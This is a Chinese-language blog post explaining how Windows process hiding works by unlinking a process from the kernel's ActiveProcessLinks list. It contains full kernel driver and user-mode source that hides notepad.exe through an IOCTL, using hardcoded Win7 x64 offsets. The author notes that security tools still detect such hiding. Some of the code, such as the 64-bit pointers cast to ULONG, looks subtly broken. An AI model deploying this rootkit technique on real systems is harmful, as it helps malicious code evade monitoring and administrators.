很久沒有寫博客了,最近抽時間把這些雜碎零散的知識梳理下來,分享給更多朋友去找樂子,在草稿箱裏面仍了好幾天忘發了。
接下來談談本篇主題,隱藏兩字。
1、隱藏意味着什麼?
不想被人發現唄,人性如此,亦是如此。
2、爲何要隱藏?
其實我的覺着這是根本,好好寫個程序你爲何要隱藏本身的進程、線程?爲啥?無非你不想讓別人知道,或者不應讓別人知道。windwos下有不少未公開的東西,這是隱藏。面對對象程序設計封裝性,這也是隱藏。有些病毒,其實叫惡意代碼更爲親切一些,更喜歡隱藏或者依附正常的進程來達到欺騙電腦,欺騙殺毒軟件,這都是隱藏。對有些不可告人的祕密。
3、對於進程隱藏能欺騙殺毒軟件?或者系統監控工具?
至少目前我沒有見過靠隱藏進程就能夠瞞天過海,不表明沒有,格局有限.....,隱藏進程後,windows系統自帶的任務管理器已經看不到進程的身影,可是隨便找一個ARK就能夠看到隱藏的進程,還可使用procexp或者火絨劍等工具去查看,爲何隱藏了進程這些工具仍然能夠找到?
4、淺談隱藏進程
由於windows用戶層,就是任務管理器是依賴於鏈表結構(_LIST_ENTRY)遍歷操做系統下有哪些進程,其實早些時候不懂widnows下鏈表重要性(當時本身學數據結構都說windows下雙向鏈表、樹很重要),後來才知道,嗯其實不依賴winAPI來作本身想作的事情,真的很重要。雙向鏈表請看之前的博客雙向鏈表:http://www.javashuo.com/article/p-aecaroqa-hc.html
建立進程的時候會填充結構體_EPROCESS(看雪論壇搜索一下有詳細的建立過程),這樣咱們_EPROCESS裏面就有數據與內容了,關於這個結構體不一樣操做系統數據有可能會不同,windbg裏面輸入: dt _EPROCESS 便可查看結構體內容與偏移。
windows內核分爲、執行體、微內核、HAL(最底層),_EPROCESS是屬於執行體層,包含進程建立信息、I/O、安全、句柄表、虛擬內存等等,有意思的是裏面內嵌了一個(偏移0)_KPROCESS,他屬於微內核層,用來線程配額、調用還有優先級等信息。
咱們重點來講一下_EPROCESS中的ActiveProcessLink,光看名字就知道活動進程鏈,以下圖所示。
這個就是隱藏進程的關鍵,他是一個雙向循環鏈表,咱們能夠經過鏈表去遍歷整個系統進程,對就是呢麼簡單,以下圖所示:
更多結構體信息請看(我很是喜歡的一位筆者,他翻譯國外一些文章很嚴謹且詳細),貼下地址:https://bbs.pediy.com/thread-223858.htm 裏面有對EPROCESS等經常使用的結構體詳細介紹,強烈推薦,也許你有些疑惑,若是你認真看完上面連接知識,你的疑惑將在他的文章裏找到答案。
5、實現?爲何要實現?
其實我之前也這思考、這些東西你爲何要去學?爲何要去作?我無從答案。好奇心?專研?熱愛?可是不能否認當你認真的作了這些事情以後,你有所收穫,有所進步。也許當你再一次看到procexp或者火絨劍能夠把那些隱藏的進程遍歷出來的時候,你內心知道能夠暴力枚舉或者檢測恢復斷鏈本身也能夠實現,原來這些都是可能的,這樣作都是能夠的。
若是你會雙向鏈表,刪除一個節點對你來講不值一提,若是不會我但願大家去好好學習一下,學而用,這纔是知識。若是你想恢復隱藏的進程(原來的節點位置),記得保存「鄰居的指針地址」。
最後2019年,祝你們新的一年新生活,19年願世人都能喝上一碗熱粥。編程
源代碼展現以下:
用戶層與驅動層頭文件都須要包含:windows
#define CTL_PROCESS_HIDE \ CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_NEITHER, FILE_ANY_ACCESS) #define CTL_PROCESS_REST \ CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_NEITHER, FILE_ANY_ACCESS)
以上是定義的控制碼,用於3環到零環內核編程功能控制
驅動層:安全
#include "HideHeader.h" VOID UnLoadDriver(PDRIVER_OBJECT pDriverObj); /*----------------聲明---------------------*/ NTSTATUS DefualtFunCtion(DEVICE_OBJECT* pDeviceObj, IRP* irp); NTSTATUS ControlCode(DEVICE_OBJECT* pDeviceObj, IRP *irp); NTSTATUS HideProcess(char* HideName); NTSTATUS RestoreProcess(char* RestorName); /*---------------入口點---------------------*/ NTSTATUS DriverEntry(DRIVER_OBJECT* pDriverObj, UNICODE_STRING* RegistryPath) { UNREFERENCED_PARAMETER(RegistryPath); // DbgBreakPoint(); // 初始化設備對象與符號對象(暴露給3環使用) UNICODE_STRING DeviceName; UNICODE_STRING SymbolicLinkName; DEVICE_OBJECT* pDeviceObj = NULL; NTSTATUS nStatus = STATUS_SUCCESS; RtlInitUnicodeString(&DeviceName, L"\\Device\\HideProcess"); RtlInitUnicodeString(&SymbolicLinkName, L"\\DosDevices\\SymbolicLinkName"); // 建立設備對象 nStatus = IoCreateDevice(pDriverObj, 0, &DeviceName, FILE_DEVICE_UNKNOWN, 0, 0, &pDeviceObj); if (FALSE == NT_SUCCESS(nStatus)) { KdPrint(("IoCreateDevice Failuer!")); return nStatus; } // 設置通信方式(0~3環),這裏使用直接IO pDriverObj->Flags = DO_DIRECT_IO; // 建立符號對象 nStatus = IoCreateSymbolicLink(&SymbolicLinkName, &DeviceName); if (FALSE == NT_SUCCESS(nStatus)) { KdPrint(("IoCreateSymboLicLink failuer!")); return nStatus; } // 初始化派遣函數 for (ULONG i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; ++i) { pDriverObj->MajorFunction[i] = DefualtFunCtion; } // 處理派遣函數及卸載 pDriverObj->MajorFunction[IRP_MJ_DEVICE_CONTROL] = ControlCode; pDriverObj->DriverUnload = UnLoadDriver; return STATUS_SUCCESS; } /*----------------實現---------------------*/ NTSTATUS ControlCode(DEVICE_OBJECT* pDeviceObj, IRP *irp) { DbgBreakPoint(); UNREFERENCED_PARAMETER(pDeviceObj); NTSTATUS nStatus = STATUS_SUCCESS; // 獲取irp棧信息 PIO_STACK_LOCATION pIrpStack = IoGetCurrentIrpStackLocation(irp); DbgBreakPoint(); // 獲取控制碼 ULONG uControlCode = pIrpStack->Parameters.DeviceIoControl.IoControlCode; // 獲取Out緩衝區 // pOutBuffer = MmGetSystemAddressForMdlSafe(irp->MdlAddress, NormalPagePriority); switch (uControlCode) { case CTL_PROCESS_HIDE: { /*兼容性有欠缺,由於沒有檢測當前運行環境,PEPROCESS結構體偏移可能不許確*/ HideProcess("notepad.exe"); } break; case CTL_PROCESS_REST: { RestoreProcess("notepad.exe"); } break; default: break; } irp->IoStatus.Information = 0; irp->IoStatus.Status = STATUS_SUCCESS; IoCompleteRequest(irp, IO_NO_INCREMENT); return nStatus; } NTSTATUS DefualtFunCtion(DEVICE_OBJECT* pDeviceObj, IRP* irp) { UNREFERENCED_PARAMETER(pDeviceObj); // 完成狀態 irp->IoStatus.Status = STATUS_SUCCESS; // 完成字節 irp->IoStatus.Information = 0; // 處理irp IoCompleteRequest(irp, IO_NO_INCREMENT); return STATUS_SUCCESS; } VOID UnLoadDriver(PDRIVER_OBJECT pDriverObj) { // 寫成PDRIVER_OBJECT 強轉的時候方便 UNICODE_STRING DeleteSymName; PDEVICE_OBJECT NextDriverObj = NULL; PDEVICE_OBJECT CurrDriverObj = NULL; // 先刪除符號對象刪除設備對象 RtlInitUnicodeString(&DeleteSymName, L"\\DosDevices\\SymbolicLinkName"); // 刪除符號對象 IoDeleteSymbolicLink(&DeleteSymName); CurrDriverObj = pDriverObj->DeviceObject; // 可能有多個設備對象 while (CurrDriverObj != NULL) { NextDriverObj = CurrDriverObj->NextDevice; IoDeleteDevice(CurrDriverObj); CurrDriverObj = NULL; CurrDriverObj = NextDriverObj; } return; } // 隱藏進程 NTSTATUS HideProcess(char* HideName) { // 用到的變量 LIST_ENTRY* ListCurrProc = NULL; LIST_ENTRY* LinkListTemp = NULL; PEPROCESS pEprocess = NULL; // 獲取到EPROCESS結構體中ActiveProcessLink 本機環境win7 x64 偏移爲0xb8 // 其實調用的IoGetCurrentProcess pEprocess = PsGetCurrentProcess(); // 獲取ActiveProcessLinks ListCurrProc = (LIST_ENTRY *)((ULONG)pEprocess + 0xb8); // 下一個指針賦值 LinkListTemp = ListCurrProc; // ULONG Te = 0; 測試使用臨時變量 // 循環找到隱藏進程 while (ListCurrProc != LinkListTemp->Flink) { // 調試信息輸出 // Te = ((ULONG)LinkListTemp - 0xb8 + 0x16c); // KdPrint(("%s\n\n\n", Te)); // 本該是0x16c是ImageFileName 可是用的鏈表位置 因此是 0x16c - 0xb8 if (0 == strcmp((char *)((ULONG)LinkListTemp - 0xb8 + 0x16c), HideName)) { // DbgBreakPoint(); // 雙向鏈表應該很熟悉了 Previous <--> Curr <--> Next 變成 Previous <--> Next (LinkListTemp->Blink)->Flink = ListCurrProc->Flink; (LinkListTemp->Flink)->Blink = ListCurrProc->Blink; LinkListTemp->Blink = NULL; LinkListTemp->Flink = NULL; KdPrint(("Sucess Hide Process!")); break; } LinkListTemp = LinkListTemp->Flink; } return STATUS_SUCCESS; } // 恢復進程(沒有去實現) NTSTATUS RestoreProcess(char* RestorName) { UNREFERENCED_PARAMETER(RestorName); // 枚舉當前進程名稱,獲取到進程,判斷鏈表中是否存在(循環),不然插入鏈表之中 return STATUS_SUCCESS; }
用戶層:數據結構
int main() { HANDLE hDriver = INVALID_HANDLE_VALUE; hDriver = CreateFile(L"\\??\\SymbolicLinkName", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); if (hDriver == INVALID_HANDLE_VALUE) { if (GetLastError() == 2) printf("錯誤碼(2):系統找不到指定的文件\n"); } else printf("驅動成功加載\n"); DWORD dSize = 0; // 發送隱藏進程信息到零環 這裏能夠三環控制由於測試方便就不進行測試,因此參數爲NULL // 若是使用控制碼 第三個參數傳入驅動層的緩衝區指針(須要傳入什麼),第四個參數是傳入大小 // 第5個參數是接收(0環發來的信息),大小,dSize是0環返回的大小 DeviceIoControl(hDriver, CTL_PROCESS_HIDE, NULL, 0, NULL, 0, &dSize, NULL); system("pause"); CloseHandle(hDriver); return 0; }